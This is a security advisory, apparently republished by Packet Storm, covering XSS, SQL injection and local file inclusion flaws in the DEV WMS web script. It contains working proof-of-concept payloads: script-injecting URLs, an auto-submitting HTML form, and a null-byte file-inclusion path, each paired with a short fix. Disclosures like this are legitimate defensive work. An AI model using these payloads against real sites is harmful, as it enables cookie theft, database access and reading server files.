DEV WMS suffers from local file inclusion, cross site scripting, and SQL injection vulnerabilities.
21cc74aefeacf04b081d6a1024ca7bcb----------------------------------------------------------------
Script : DEV WMS
Type : Multiple Vulnerabilities ( Local file inclusion / Cross Site Scripting / SQL Injection )
Alert : High
----------------------------------------------------------------
Discovered by : Khashayar Fereidani Or Dr.Crash
My Website : HTTP://FEREIDANI.IR
Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t ] com
----------------------------------------------------------------
Script Download : http://dev-wms.sourceforge.net/
----------------------------------------------------------------
XSS Vulnerability 1 :
Variable Sent Method : GET
Vulnerable Variable : session
Address : http://Example.com/?session=">><>><script>alert(document.cookie)</script>
Solution : filter session variable with htmlspecialchars() function ...
----------------------------------------------------------------
Xss Vulnerability 2 :
Variable Sent Method : POST
Vulnerable Variable : kluc
Address : http://Example.com/index.php?session=0&action=search
change example.com to script address in a real site and save as ircrash.html , open file with browser and see your cookie .
<html>
<head></head>
<body onLoad=javascript:document.form.submit()>
<form action="http://Example.com/index.php?session=0&action=search" method="POST" name="form">
<form method="post" onSubmit="return validateprm(this)"><input type="hidden" name="prip" value="true"/><input type="hidden" name="action" value="search"/>
<input type="hidden" name="kluc" value=""'''<>>>><script>alert('xss')</script>">
</form>
</body>
</html>
Solution : filter kluc variable with htmlspecialchars() function ...
----------------------------------------------------------------
SQL Injection :
Method Of Send : GET
Vulnerable Variable : article
Address : http://Example.com/index.php?session=0&action=read&click=open&article=[SQL CODE]
Solution : Filter danger caracter for article variable ...
----------------------------------------------------------------
Local file inclusion :
Method Of Send : GET
Vulnerable Variable : step
Address : http://Example.com/admin/index.php?start=install&step=file.type%00
Solution : Filter step variable with if function ...
----------------------------------------------------------------
Tnx : God
HTTP://IRCRASH.COM
----------------------------------------------------------------
© 2012 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed
Comments
No comments yet, be the first!